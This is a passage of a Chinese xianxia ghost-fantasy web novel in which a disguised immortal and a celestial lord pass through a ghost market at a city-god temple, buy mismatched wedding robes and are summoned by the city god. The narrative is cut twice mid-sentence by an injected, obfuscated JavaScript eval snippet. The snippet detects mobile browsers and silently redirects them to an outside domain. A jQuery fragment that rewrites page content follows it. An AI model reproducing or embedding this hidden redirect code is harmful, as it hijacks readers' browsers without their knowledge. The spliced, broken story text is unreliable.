身上得了劲儿,门口的两只鬼已然没了踪影,酸楂才慢悠悠站了起来。 不知为何,地上除了一地果核,还多了一个小瓷瓶。 她转身摆袖道:“本官累了…你离开前,顺带把地上的垃圾收拾收拾,地上任何东西都不能留,本官最讲究了,见不得有杂物。对了,记得把龟壳留在桌案上。” 阮瓀道:“谢谢…” 一小会儿的功夫,热热闹闹的土地庙,瞬间寂静。 拿了路引,众鬼脚下生风,不受日月精气侵蚀,不稍一阵,便到了风雨江城隍庙。 四周青叶银杏落影环绕,流水声不绝,往前五里地,便是最近的东河镇,镇边顺江左右开延,依次是石井村、平安村、盐仓村…等大大小小二三十座村子。 这间庙宇修得常规。 一进的院落,院前一山门,院内一庙屋。 高门宽檐,红墙金瓦,左右没有修建厢房,只在正中堂的旁边,搭了个极简易的耳房。堂内里放了尊泥塑彩像,神龛上铺满了牡丹花纹,背后架子上拥挤地挂着几段红绸子。 地方虽小,倒是该有的都有。 神像前有一方高台,五尺长桌,有笔墨、砚台、官印和令箭,以及石盘里还供奉着七八颗焉不拉几的果子,桌子被打扫得干干净净,两边燃着长明烛。 整个庙堂,旌节幢幡随风摇曳,写着「肃静」和「回避」的警示牌靠放在角落里、彰显着这里的烟火之力。 此时,油火、灯芯,霹雳吧啦地在城隍庙里滋滋泛响…七月的夜间,竟也让人觉得发寒。 是以,那守庙人早早窝进了耳房待着。 他正借着灯火,把白日里没有编织完的蒲团,继续打上芦苇。 墙缝处,时不时吹进一丝冷风,惹得守庙人啐道:“见鬼了!这两天是怎么了,阴森森的,一到晚上就发冷…死人了吗!真他妈的晦气…要死就多死点!!不要让老子一直受冷风吹…” 刚走到城隍庙的第五茗等人,偶然间听见这么一句话,不免得脚下一顿。 反而是打头的埭骰埭桡,镇定非常,无常鬼差架势十足。 繁星点点,正堂门口廊檐下的红灯笼,早已被守庙人点亮,埭桡听了酸楂的话,一路上都拉着埭骰在队伍前方开路,借着檐下的光,他朝埭骰伸手讨要,道:“上官给你的主黄纸拿来。” 接过主黄纸,便如在平安村土地庙前一般,他把冥钱黄纸飞贴而出。 这次冥钱黄纸开门的方式不是悬空张贴,而是扎扎实实地覆盖在了城隍庙的庙门上。 照旧的是,钱面上通阳太明之印,明灭片刻,眼前之境斗转星移,一进院落便隐匿,耳房消失,换而之,是一集市… 集市? 集市!! 也不能算是集市。 其实此地和土地庙内景是一样的,也没有大门,四周平坦空旷,周遭之景看似近在咫尺,却只看得见够不着。 而之所以像‘集镇’,原是第五茗等人眼前之景,鬼影重重,摩肩接踵,四处围团。 细细查看,便能发现,是那些刚死就得了寄奉的鬼魂,正拿着东西,在鬼群中四处叫卖。 钗环耳饰,衣裙鞋袜,书籍玩具…种类繁复,虽没有吃食,却多到列出了一条街道,造出了方“集市”。 不知道是不是城隍官办事效率太低了,或者是这群鬼在这里待得太久了,其间,居然连无常都在以公谋私。 那些鬼差伸手向虚空之处,探寻而入木料,拿索命钩三下五除地辟出一副摊架,租赁给鬼魂,让他们就地做起小贩生意…其中更流窜着得了亲友送来冥钱,在临时街道两侧,左顾右盼挑选商品的鬼魂。 叫卖声嚷嚷,议价声喋喋,让新入的鬼魂,一头雾水,误以为入了一街市。 无一例外,来者皆会问一句:赶集呢? 第五茗更是没忍住,进门的一瞬间,便拉住一只叫卖货物的小贩,道:“这是在赶集吗?” 小鬼瞧她穿着破破烂烂,翻了一个白眼,一句话没答,便蹿走了。 第五茗有一丝尴尬,抿了抿唇,知晓这些鬼还没真正成鬼,同活着时看人的眼光无异,搂进衣襟,跟在队伍后面沉默无语地左顾右盼。 活着的时候太穷,比起城镇集市,她更熟悉深山老林,现下,一个现成的集市摆在她眼前,她是瞧什么都觉得稀奇。 鬼群里,游走的少女,从头上拔下一根一根发簪,遇见姑娘,便怯怯道:“走过路过不要错过,入了鬼门关可就买不到这么好看的钗寰了。” “姑娘,买一根吧…” 这只钗寰正好递到了第五茗面前。 她摆手拒绝了,便见少女失落地硬着头皮继续推销,道:“姑娘帮帮忙,你买了这只钗寰,我的银钱就够了…” 挣扎了些许,她又不谙世事道:“你长这样,穿这样,装扮成这样,鬼门关的牛头马面不会对你怎么样。看在你我同是女鬼的份上,帮帮我…我不想被牛头马面轻薄,他们太丑了。” 这说的什么鬼话。 第五茗目瞪口呆,举手摸了摸自己五官,她仙容也不算差… 今时今地,不过是穿的潦草了些,发髻凌乱点,何至于连牛头马面都看不上。 不对! 牛头马面贪财,这她是知道的,但第一次听说牛头马面好色。 第五茗安慰少女鬼道:“我怎么听说牛头马面是一对,他们对小姑娘没兴趣呢?你是不是弄错了?” 那少女鬼脸色非但没有轻松,反而半捂嘴唇凑近第五茗,音量在这闹哄哄的氛围中,一点不减,道:“现在变了,他们近日极其好色。刚刚买来的消息,他们拉了好多漂亮的姑娘,入鬼门前,陪他们一起去洗澡。” 第五茗惊道:“洗澡?离谱了,离谱了…你这消息肯定是假的了,要知道牛头马面为炼一副无敌盔甲,在身上已经攒了万年的泥藻,此时洗澡,岂不是功亏于溃。假的假的!这消息肯定是假的!!” 一旁脸色不明的酆小洪,退后半步,凑了上来,冷声道:“谁说的?可说明为何?” 瞧样子,他是信了这女鬼的话,且在连连追问原因。 但因女鬼好心好意分享消息,结果第五茗还不信,她听了第五茗的话,阴阳怪气了句“不识好鬼心”,便转头就走了,酆小洪的问话是只字未搭理,她便急忙去寻找下一位买主。 一人见酆小洪和第五茗驻足,挤了过来,掐着嗓子,仿照少女鬼柔柔弱弱样,细细道:“钗寰不实用,我这里有蚕丝亵裤?来一条?” 来人看了看酆小洪空荡荡,瘦若材棍的下肢,捂嘴含笑道:“均尺的,小哥绝对能穿上…不会拘着疼。” 酆小洪循声冷眼扫去,还未言语,让第五茗先一步拉走了卖亵裤的嫂子,道:“哎哟喂,姐姐你这话说不得…” “啊?” 嫂子鬼实话实说,一脸迷糊。 她实在想不通,这话有何说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15547189|171191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不得。 不多时,便听到第五茗见鬼说鬼话,看仙说官话,故意朝酆小洪方向扬声,道:“你这话说的也不对…” 她咽了咽口水,厚着脸皮,继续向酆小洪恭维道:“均尺的亵裤,我家小哥如何穿得上,定是小了小了。” 第五茗说得慷慨又陈恳,让嫂子鬼竟生出一毫顾虑。 嫂子鬼又看向酆小洪,仔细打量了那双裤腿,摇头确认后,才道:“不会小,他外裤空空,我的亵裤他能穿上。” 仙妖精怪,最在乎肉身体格,尤其属这当中的男仙,公妖,雄精,牡怪…越往大了说,还好,往小了说,这群看似大度的爷们儿,可能早已生了一肚子的恶气,弄不好不仅会引来异变,还会招来一番宣泄。 其中,但凡小气点的,此刻听见嫂子鬼这番话,定会不顾四周生灵,当场勃然发怒。 第五茗庆幸自己在场,也顾不得害臊,一心想着,切莫因为这嫂子鬼的一番话,引来仙君之怒才好,毕竟她这一路上,可是见识了酆小洪的‘随心所欲,不顾他人死活’。 她继续争辩道:“是小了的,我家小哥那是故意选了条宽松的外裤,因为普通尺寸穿不上!勒得他疼!姐姐就不要再争辩了,去找其他人吧。” 嫂子鬼不肯妥协,声音渐渐提高道:“不可能,我目光如尺,一眼即可丈量!!他绝对是小的!!均尺就合适了!!!” 那方被讨论的人,神色已经不算明了,第五茗见状,心中直感不妙,咬牙大声反驳道:“大的!!均尺不合适!!” 嫂子鬼瞧了一眼第五茗的样貌,判断了一番对方年岁,鄙夷道:“你小姑娘家家的,知道啥…” 第一次见这么执拗的鬼,第五茗十分苦恼,道:“我就是知道啊!” 嫂子鬼唏嘘道:“你看过?” “看过!” 第五茗想一话堵了嫂子鬼的后路,见对方吃惊不语,气势汹汹,敲锣追鼓,道:“我看过!!!看过!!很大很大!!!双腿粗硕!!!均尺的就是不行!你不许再和我争辩了!!去找其他人吧,其他人才能穿上。” 附近之人,都听见了第五茗和嫂子鬼的话,霎时,以她们为中心,里三层,外三层,一片寂静。 众人把目光移看向争吵的两人,后又移向面色不明的酆小洪,因事情牵连上了他们,不禁回头再看了看身旁的男鬼,顺势低头又瞧了眼自己,纷纷生出不一样的疑惑。 这时,吃瘪的嫂子鬼无话可应,只得倔强道:“哦…真没瞧出来。” 酆小洪却在此间寂静之中,替第五茗回了嫂子鬼一句,道:“是小了…这亵裤尺寸小了些,你寻其他买家吧。” 不管是好面子,还是事实,正主都这样否认了,其他人自然不好再争论,或者瞎猜想。 嫂子鬼举足无措道:“那我找其他人?” 酆小洪语气诚恳道:“找其他人吧,其他人合适。” 靠近城隍庙堂的群鬼不知道此地发生了何事,早已到城隍庙堂门口的埭骰埭桡一行人,更是不知滞留在这里的酆小洪和第五茗发生了何事,埭骰在埭桡的催促下,二人已迈上了台阶,走进城隍庙内境的城隍殿。 只是眼见这边由阴森寂静,瞬间变的沸反盈天。 一男鬼震声力证道:“去去去,我的至少比他大!!均尺不合适!!” 又一男鬼怯怯懦懦道:“我…我…也要穿比均尺大一码的,姐姐你找其他人买吧。” 再一男鬼道:“你要敢来找我试试!!当心我直接送你见阎罗!!” 没一会儿,嘈杂声中,传出了嫂子鬼的嚎叫,道:“怎么办啊,这亵裤卖不出去吗…我不想去陪牛头马面洗澡…呜呜呜呜…你们买一条吧,当抹布也好啊…” 第五茗趁着混乱,在群鬼找上他们之前,拉着酆小洪终于赶到了队伍后面。 她大口喘息道:“仙君也太胡闹,这话怎么能从当事人口中说出来啊,有损你仙誉。” 酆小洪认真问道:“上君…很在乎这个?” 第五茗道:“在乎什么?” 酆小洪低头道:“我见上君和他人争执,以为上君很在乎这个。这副肉身的确是瘦弱了些,我的仙身…” 第五茗顺着酆小洪的视线,在对方身上下移动,直至看见那随风而动的外裤,猛然抬头,一脸“我是为了谁”的表情,打断道:“你说的是这个!我怎么会在乎这个!!” 酆小洪道:“上君不在乎?” 他脸上不知何时,已浮现一抹红润之色,眼眸星光闪动,用最单纯无害的嗓音问出此话,像是第五茗调戏了他一般,万分委屈。 第五茗道:“也不是…这…” 这让她如何解释。 他体格如何,亵裤抉择,她又不是当事人,怎么也问不到她头上来才对。 一时之间,她竟答不上酆小洪的这一句问话。 酆小洪却锲而不舍,再度问道:“上君真的不在乎吗?” “…” 第五茗刚刚明明就是在众鬼面前为他挽尊,另一则目的,也是她偶发善心,为的是保全这方鬼魂不要招惹仙君,稳稳当当进入鬼门关。 鬼魂见识浅薄,对她有误解也就罢了,怎么得道的仙君也会认为和她有关系了,更何况还是当事人。 第五茗冤枉至极,这件事的重点就是:她在不在乎,根本就不重要啊!! 酆小洪久久得不到回答,心中有了计较,道:“原来还是在乎的,我刚刚说的是我仙身,这肉身的确有些…” 第五茗赶紧打断他的话,道:“仙君!!这和我没有关系!!我知你仙身雄武,所以方才替你与那小鬼争辩几句,只是不想那小鬼以你神躯造谣…这马上进黄泉路,遇见熟人就不好了,起了谣言,就更不好了,有损功德。” 酆小洪惊道:“你见过我身躯?” 第五茗一怔,道:“那倒没有。只是,天庭仙君的身躯,惯常都修得品貌不凡,你法力雄厚,淬炼出的躯体自然更是不一般…” 扶额叹息,此时此刻,她竟有些怨恨刚刚那只嫂子鬼,咬牙切齿,道:“仙君,我们能不能跳过这个话题?” 12. 阳寿尚在魂被勾5 酆小洪看了眼身后依旧为这事讨论不休的群鬼,回头浅笑,道:“好。” 少顷,第五茗身旁,又来了一批新鬼,身后又响起一阵新的嘈杂。 从内境入口街道处,还跟过来一批没死心的摊贩,继续叫卖道: “风筝…看一看风筝呗。夜里阴风大,正适合放风筝。” “等着也是无聊,超好看的异志怪谈小说《三嵇境·九绊一烬》,讲的也是仙妖人鬼,姑娘来一本?” “诸位刚死吧?瞧这衣服,都破了…你们哪个村的?要不要买一套衣服换上?路上也好风风光光,不然黄泉路中,奈何桥上,要叫其他鬼看笑话了。” … 也不知道从什么时候开始,人死了之后,适应鬼魂之体的能力越来越强。 小鬼们的胆子,也越发大了不少。 第五茗喜故事,也喜热闹,仰头眺望,比起拘谨在一旁的同村乡民,她和路过的‘商贩’,相互之间你来我往,好不自在。 “看我的,看我的!城隍庙内,我敢保证只有这一套…绝对是极品!!!二位这么登对,路上穿正合适。” 这小鬼眼力见可能不足,但热情十足。 只要是面生的鬼,他都会把手里的东西送上去问问。 而相看过的鬼,均是无语。 俗话说,伸手不打笑脸人,其他人仔细观摩时,皆为所卖之物震惊,怒火顿生,但耐不住这小鬼一脸灿烂,好言好语,让他们都不好意思污言相向,只能悻悻然摆摆手拒绝,冷眼相送这热情小鬼。 一路送到了城隍庙堂前… 一路送到了平安村穷鬼这方… 一路送到了第五茗和酆小洪面前。 宽袍锦衣,云纱绰绰,正红色丝质缎面顺滑,在小鬼的拖动下,从第五茗的手指尖拂过。 第五茗连连叹道:“现在死人的东西也做得这么好?这衣服还真不错…摸着挺滑溜,是份好东西,可展开来瞧瞧吗?定是京都才有的东西吧?” 热情小鬼收拢手上的衣服,笑道:“姑娘好眼力,这正是京都买来的。” 身为女子,第五茗也是情难自禁地眼冒星光,只想一睹衣服的风采,叹道:“必然十分养眼,展开瞧瞧呗。” 这堆鬼里,他再卖不出去,就没有生面孔让他可以兜售了。 热情小鬼有些为难,却依旧笑道:“是的,这衣服是万里挑一的好,锦绣银线,精工细作,上面的缎子还缀了琉璃珠子,月辉下流光溢彩,姑娘这般娇俏容颜,穿上以后肯定如天仙下凡,嫦娥在世。” 形容得如此出彩,第五茗倒是有些却步了,她只想看看,她没钱。 手上退缩,脚上也跟着半退了一步,她心里咒念道:不好,不好…看得多了,难免就会心痒痒,这可不太好,有损道心…有损道心。 你已经没有仙身了,道心很重要,要慎重,慎重。 热情小鬼担心机会流失,急忙客套起编好的‘叫卖语’道:“姑娘哪个村的啊?要不要买了这套衣服换上?路上也好风风光光,不然黄泉路中,奈何桥上,要叫其他鬼看笑话了…” 第五茗道:“我平安村人,没钱…” 而这时,酆小洪的声音,在这鬼挤鬼,声音喧闹之地竟然十分清晰,道:“我买了。” 第五茗正和卖衣服的热情小鬼推据,面上尴尬,听见酆小洪此言,手上浮动的锦衣被她一把抓在了手里,眼睛和同村听见这话的鬼魂一般,震惊又不敢相信。 她侧身悄声道:“仙君,你真会开玩笑,我们哪里有钱。这里用法术变出金银是不做数的,银钱上都有烧寄人的印记,到了地府才能兑换流通,你莫不是忘了?” 酆小洪在一众人的期待中,声音不大不小道:“我有钱。” 那话,第五茗也是说给自己听的,虽听见酆小洪说出“我有钱”三个字,她反而更没了气势,正回身子,松了手上的锦衣,黯然失色道:“你早年丧亲,没有人给你送钱来的。” 她对卖衣服的鬼摆手道:“我们不买不买,平安村人,穷…” 唰! 一叠银票落在了那套衣服上,而握住银票的手,正来自穿着滑稽的酆小洪。 “哇!” 同村人第一次见这么多钱,哪怕是死人了,他们也没烧过这么多冥钱。 第五茗震惊道:“你哪来的?” 酆小洪道:“风雨江上捡的。” 第五茗疑惑道:“你捡的?” 她疑惑的不是钱为「捡」来的,而是此话中的「你」。 堂堂泰山一仙君,有神格,可呼风唤雨,有魂命,行走冥界地府无人敢不尊,何至于要去「捡」钱用?也让人想不通,为何要捡钱用? 酆小洪道:“嗯,我捡的。” 贴之第五茗耳侧,他小声道:“上君想喝茶酒,又不许我施法,风雨江遭了那么一番罪受,便把水中的冥钱都拾进了兜里,本想到了野鬼村再用这钱,没想到,在这里就要用了。” 第五茗掐头去尾,脑中盘旋着‘上君想喝茶酒’,手指自己,喃喃确定道:“为我…捡钱。” 何必呢… 她一脸忧色,思虑深远地盯着酆小洪,心中计量:这事做得离奇,闹不好会成一笑话,捡就捡了吧,还要栽到我头上!我就那么好欺负吗!! 还说是来报恩的,原来在这里等着我。 随即,她嘀咕道:“好吧…我是挺好欺负的。” 酆小洪疑惑地“嗯”了一声,却没等来第五茗其他解释的话,他也没再多问。 另一侧,同样还有一批人,也盯着酆小洪,一脸愁容… 同村人这时才回想起来,风雨江上两送葬队伍抛洒买路钱的事,纷纷懊悔当初,自嘲声阵阵,他们频频质问起自己:为什么就只知道看热闹呢? 为什么没想过弯腰捡几张银钱傍身呢? 是瞧不上? 还是同村人都在,抹不下面子… 而捡钱当事人接下来这句话,更让第五茗“受宠若惊”,嘲声满肚! 酆小洪声音悠悠传来,他在第五茗耳畔小声笑道:“「上君黄泉路拾银」日后怕是要变成「神君人间河道捡钱」了。” 他神色异常,看向第五茗,似在道歉,又似在炫耀,道:“可会怨我?” 这几字重量非常,第五茗的心忽地一提,傻傻地摇头。 她心里却骂骂咧咧道:嘲笑!这绝对是赤裸裸的羞辱!!! 「上君黄泉路拾银」又不是什么好名声,怨你?怎么敢… 仙君你饶了我吧,我放干血也斗不过你…不对!这仙君一路上瞧着还挺好的,他这般做… 莫非… 一定是了! 他一定是因为一身形象太过狼狈,早就存了要在路上捡钱换衣的打算,拉上我,不过是顺手找了只鬼,替他背这一个名头。 … 毕竟,她的好财的名声,早名扬远外。 「上君黄泉路拾银」原来是她第五茗的一个笑料。 那年从饿鬼道出来,初入畜生道,第五茗第一次以被拘鬼魂的形势,走了黄泉路。 一路,十分的“不熟稔”。 那时,六天宫还没有更正为冥界地府,话语权最大的,也还是酆都大帝,六天宫之景一塌糊涂,宫殿破旧,桥廊摧残,地下之界无花无草,亦无生机,连最重要的黄泉路,也坑坑洼洼,颠簸难行。 第五茗对此地有一些了解,加上有无常指路,倒也算是走得顺坦。 而那日,路上的其他幽魂,却不如她自在。 恰好,有一位地方上养尊处优的豪绅,他走惯了铺软垫的大路,在这破烂的黄泉路上,行得是非常艰难。一踩一个坑,一踏一处凹,走了十步,摔了二十跤,多出来的十下,原是他用手爬时,因为黄泉路实在破烂,连连狗啃屎栽倒在地。 为他引路的无常见他着实辛苦,便出了一个主意,让他把那陪葬物品抛洒在路上,这样路就能被铺平,他就能一路好走。 豪绅活着时,拥有最多的就是银裸子,最喜爱的也是银裸子,为他陪葬的宝贝,自然也是银裸子…他不停地抖动连接人间棺材的袖口,四处铺路。 银裸子泛的冷白光,须臾,充斥着整个黄泉路。 豪绅果真有了一条他的“康庄大道”。 待豪绅走过,他身后跟上的小鬼们,也挺机灵,不急蹭上了好路,还眼疾手快地往怀里拾到银裸子。 他们嘴里嘟嘟囔囔:“钱…”“好多钱…”“银子傍身,小酒吃撑。”“我的…我的…”“你再抢,信不信我不客气!” 黄泉路上,乱作一团。 鬼嚎遍野,惊动了驻守在鬼门关的牛头马面。 牛头马面立即携百余鬼差而至,瞬时把这一混乱的场面镇压住了。 在问责拾捡银裸子的小鬼们时,众鬼差这才发现,天界、冥界,鼎鼎有名的上君第五茗,居然也参与在其中。 鬼差们唏嘘不已,牛头道:“上君,你这是凑的什么热闹啊?” 一脸苦闷,望着这群幽魂,他心里刚草拟好的官话,顷刻烟消云散。 第五茗蓬头垢面,怀里捧着最多的银裸子,含含糊糊道:“酒瘾犯了,上君拾银,也很正常嘛…反正那人用来铺路也是浪费。” 末了,她又补了句,道:“你说你们六天宫也不差钱,鬼差一个比一个贪,怎么就没一个拿钱出来修路的,真该把路补补了,太烂了,可以的话,在路旁种点花,看着也养眼。” 那一世,第五茗投胎做了一只蜜蜂,除了酒,最喜欢的便是花。 事后,在场的鬼差无不把这事当谈资,后来因对第五茗这人困恨有加,便又添油加醋地当做笑料,四处散播。 “成交!” 这时,一声鬼叫震耳欲聋,传入人群, 卖衣服的热情小鬼哪还能给他们反悔的机会,抽走酆小洪手中的银票,顺手把衣服往第五茗怀中一送,捏着银票的厚度,甚为满意,便又把腕间的另一套衣服往酆小洪怀里一丢,道了句“多送你们一套,不用谢了,我这只鬼,就喜欢做好鬼好事。” 一溜烟,钻入了来时的方向。 熙来攘往,根本让人找不到那卖衣服的热情小鬼了。 众人只依稀记得,那鬼是只双眼泛着精光,样貌普通得不能再普通,嘴角总有笑容和好话的小老头。 第五茗面上无奈,心中却是白捡东西的喜悦,抑制不住地嘴角上扬道:“哎呀…钱都被拿走了,只能换上了。” 看看酆小洪手中的衣服,示意他道:“换上吧,换上吧,身上这套衣服的确不像样…被传开了,估计又是一笑话。” 酆小洪点头道:“好。” 第五茗和酆小洪白捡一套新衣,同乡众人那叫一个嫉妒,面色本就惨白,现下更是铁青…直到第五茗和酆小洪双双拿着衣服转了一圈,套穿在身上后,众人才扑哧大笑起来。 其中一妇人,道出了他们哄笑的原因,道:“哈哈哈,居然是套新婚服…丢脸的咯,谁在死了以后穿这种衣服啊。” 众人笑话完二人,便一窝蜂散开,躲避这刺眼又‘祥瑞’的大红喜服。 收拢在一起时还看不出有多喜庆,此刻穿在身上,铺展开来,才发现,竟是一对红色喜庆婚服。 第五茗和酆小洪面面相觑,在此间,正红色衣服穿在身上,竟有一番说不出的怪异。 鬼魂换衣,新衣上身,旧衣便会随风而散。 酆小洪先一步拉住了第五茗,道:“上君,勿恼,你若是介意和我一起穿这种衣服,我这里还有些银钱,可以去前方再寻一套。” 的确得赶紧换了,不然比起刚才那身衣服,这套更会让天界和地府相熟的鬼与仙笑话。 第五茗毫不迟疑道:“仙君身上还有多少?” 伸进怀中的手逗留了许久,酆小洪才慢悠悠掏出怀中的冥钱,当着第五茗的面数了数…道:“两张,好似有些少了。” 第五茗面如死灰,道:“两张!这能买什么!!!那嫂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15547190|171191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子鬼的小亵裤估计都买不到!!” 长舒一口气,缓解心中郁气,拍拍胸脯,她又拍拍酆小洪肩膀,安慰道:“算了算了,衣服而已,红色还避妖邪,吉利。” 酆小洪浅笑道:“好,只要上君不介意。” 他扬了扬手中的钱,得到第五茗的眼神示意,正准备把手中的钱放回怀里,那只手却在伸进衣口里之前,特意先抚平了胸前凸起的一团。 做完这些,他暗地里瞄了第五茗一样,见对方只顾着看身上的那一套喜服,随即,便与第五茗刚才一样,大喘了一口气,纾解紧张的情绪,再之后,才不动神色地收捡起手上的银票。 那厢,第五名自言自语,轻声道:“第一世做人,我渡的又不是情劫,穿上婚服回冥界,不吉利啊。” 一字不落,全进了站在她身边的酆小洪耳朵里。 酆小洪怀里的手突然一紧,过了好一阵才松缓掏出,垂在身侧。 他口气低落,紧张道:“这两张钱是捡来的,不花出去也不太好,到了野鬼村以后,我可否用它请上君饮一壶茶酒?” 第五茗道:“不用不用,仙君怕是不知道如今的市价…这两张,还不够买一个酒位。” 酆小洪面有一丝歉意,眼神却陡然犀利,直直盯着第五茗,嘴角轻勾,沉声暗示道:“刚刚那小鬼拿走了太多钱…” 这是干嘛!仙君何必做出这种表情。 第五茗连忙又拍了拍对方肩膀,顺带伸长手,把酆小洪半圈在可控距离内,谨防他去找刚才卖衣服的小鬼算账。 她嘴上急忙宽慰道:“无妨无妨,也怪这钱不值钱,给了就给了,反正是捡的嘛。仙君大度,就当赏小鬼了,等到了野鬼村,我有相熟的店,到时候请仙君喝上两盅,不不不…就算仙君请我饮酒了,那只小鬼,你就不要与他计较了。” 酆小洪嘴角一松,指了指放钱的胸口,道:“我不白喝,给钱,只要可以在野鬼村陪上君饮一杯茶酒。” 第五茗点头道:“什么赔不赔的,与仙君共饮,是我的福气。” 酆小洪柔声道:“也是我的福气。” 第五茗总感觉刚才有一局,她正好踏入了,愕然点点头,附和道:“能饮酒,便都有福。” 这时,前方三座牌楼后,国色天香石画的屏墙旁,绕出一黛色衣袍的壮年鬼差。 脸色焦急,神色匆匆。 这人第五茗眼熟,有一世便是此人为她引渡,因对方机敏会来事,做鬼极聪明,和那极笨拙的牛头完全不太一样,让她印象深刻。 那鬼差一步一闪,即刻便到了三座牌楼前的石狮子旁。 他目光搜寻,高喊道:“平安村蒲小明可在?” 第五茗高举右手,道:“在的在的。” 鬼差瞧清「蒲小明」容貌,和下方人身上那熟悉的薄薄一层金光时,倏地堆上笑容,隔着数十阶台步,拘手行礼,嘴唇微张,不漏声色道了句‘明濡染见过上君’。 随即挺直身姿,复又继续搜寻,他高喊道:“平安村酆小洪可在?” 又是第五茗的声音响起,她举起左手,替「酆小洪」答道:“在的在的。” 食指一折,在明濡染看过来的瞬间,她指了指身旁人,提示对方要找的鬼就在这里。 明濡染面上从容,恭恭敬敬地向酆小洪,也行了一个参拜仙君的礼数,等到对方点头示意后,他才起身谦逊恭谨道:“城隍大人有请,还要二位随我入内走一趟。” 要不说明濡染这鬼差机灵呢。 酆小洪只是那么站着,身上未露金辉,他只因瞧着对方穿了套死人最避讳的新衣喜服,且和第五茗身上那套衣服是一对,又凭着刚刚一瞬,在殿中听见埭骰埭桡述职描述说第五茗对此人照顾有加,便推测出酆小洪身份可能非同一般。 第五茗笑道:“你倒是懂事。” 明濡染笑应道:“拖上君的福。” 要晓得,第五茗从降生到如今,太受瞩目了。 冥界地府的小鬼阴帅皆知,第五茗是唯一入六道不饮孟婆汤之人。 明濡染从和第五茗相识,在其周围见到的,要么是冥界上官,要么是天界仙君。 这回第一次做人,第五茗就对一名凡人昼夜垂问,那这凡人命数定是了不得,不是天上来的,未来也一定会去天上。 于是明濡染心中有了计较:前途来了。 那方,第五茗闻言一顿,心道:福? 片刻,眼珠子一转,她看看明濡染,又看看酆小洪,道:“不逢年、不过节,不庆生、不祝酒,我也是能给小鬼又带来福气了。” 她调侃自己下三道的气运,酆小洪听了都是一脸沉色,明濡染怎敢接话,他尴尬地陪笑了一番,便侧身引路,开道往牌楼内走去。 随着三只鬼走上台阶,四周黑压压交易的鬼魂又围了上来,他们叽叽喳喳道:“大人,他们是不是插队啊!” “仙者…你是怎样让他们插上队的?我手上有点银钱,你看看?” “还要等多久啊…什么时候能入黄泉啊…” 明濡染高声道:“且都稍安勿躁,鬼道开了,自然会送诸君上路。” “我都等了三日了。” “第一百一十梯队什么时候可以上路?” “我们排在二十六号都没轮上,你们就等着吧…” “我们队就两人,可不可以先放行?” “…” 声音渐渐被一座一座又一座牌楼上带的结界给隔绝掉了。 第五茗感叹道:“做上仙就是不错,拔起来的牌楼都这么好用。” 明濡染道:“可惜这间城隍庙位置不佳,不然也不止三座牌楼了。” 第五茗侧头望向酆小洪,道:“三座?此地香火这般差?城隍官才飞三任?” 酆小洪道:“和香火无关。” 第五茗长长地“哦”了一声,并未继续追问下去,而是缓下步子,仰头细细打量起每一座牌楼。 一官一牌楼,一任一飞仙。 13. 阳寿尚在魂被勾6 风雨江城隍庙只换了三任城隍官,所以这里只有三座牌楼。 而三座牌楼都是天界仙君点将时,以醇厚法力为当任城隍官垒建,故而结界力度不小,三门过后,是一点鬼气也看不见了。 再看这三座牌楼,来历也都是非同小可。 第一门「春风化雨」,是一座木牌楼,乃文曲星君天权为点将一位保百城之书的先生而起。 第二门「赤胆忠心」,是一座铜牌楼,将军以三千士兵退敌三万,手沾蛮夷鲜血,戾气太重,故而被天帝点将在此间,渡满万魂消灾解厄。 这第二门还有一则秘辛,乃是将军骁勇,天帝和人帝抢人,结果天上的仙家不帮着天帝,还因将军戾气太重,不同意天帝点飞此人。天帝为堵仙家口实,便想了一个折中办法,把人放在这里百年,由他自己筹集香火,借地飞升。。 第三门「宅心仁厚」,是一座石牌楼,为一倒霉鬼而起。 这倒霉鬼着实可怜,因足月落地,四肢健壮,饭量大了些,父母便舍了他,将他卖给了镇上的地主。 在地主家帮工,好不容攒够了赎身的钱,又取了妻子,结果妻子被前雇主瞧上,妻子竟背着他跟前雇主生下了孩子,他却不妒不恼,见有幼儿降生,便心甘情愿地写了和离书,背着行囊远走他乡。 谁知,离乡当日,他又遇见了山匪。 被抓上山后,他日日为山匪帮工,洗衣做饭三五载…朝廷清匪,他又遭连带,让给关进了牢里。 本来他这余生也就交代在牢里了,结果牢里死囚凿洞越狱,拉了他背锅,害得他成了被凌迟的死囚,没住多久牢房,便被断了头,一命呜呼。 按理说…这样的一生,死后必化厉鬼,结果这人一生以德报怨,连死了,还帮无常劝解心怀怨气的鬼魂,一路入了鬼门关,遇见了当时在地府当值的仙君,这才迎来了一生一死中,唯一的一份福气。 那仙君正醉于一壶阳间烈酒,摇摇晃晃听闻此事,觉得有趣,便施恩道:“此命困于局中,却自我解于局中,有趣…有耐性,让本君堂堂一司命…觉得稀奇。你既能无心却修此生,便去做一地仙试试,本君拟你‘宅心仁厚’,可觉得合适?” 得到倒霉鬼应声的一句“合适”,她便挥手点了此人。 不用多猜,这位仙君正是第五茗。 当日她醉得厉害,醒来后便把此事忘得一干二净,那倒霉鬼的福气,也就止于第五茗醉酒后的那一份,此后,又是一样地处处他最惨,得了功德又散功德,傻傻地,在这里做了三万多年的城隍官。 三人行了三门,第五茗见一座,笑一座,忽地,眼前一堵,她驻足在原地。 竟是有一座琉璃牌楼,在自地而起,似拔非拔。 第五茗不是第一次入城隍庙,却是第一次见这传说中的景象,道:“这是有人要被点飞了?” 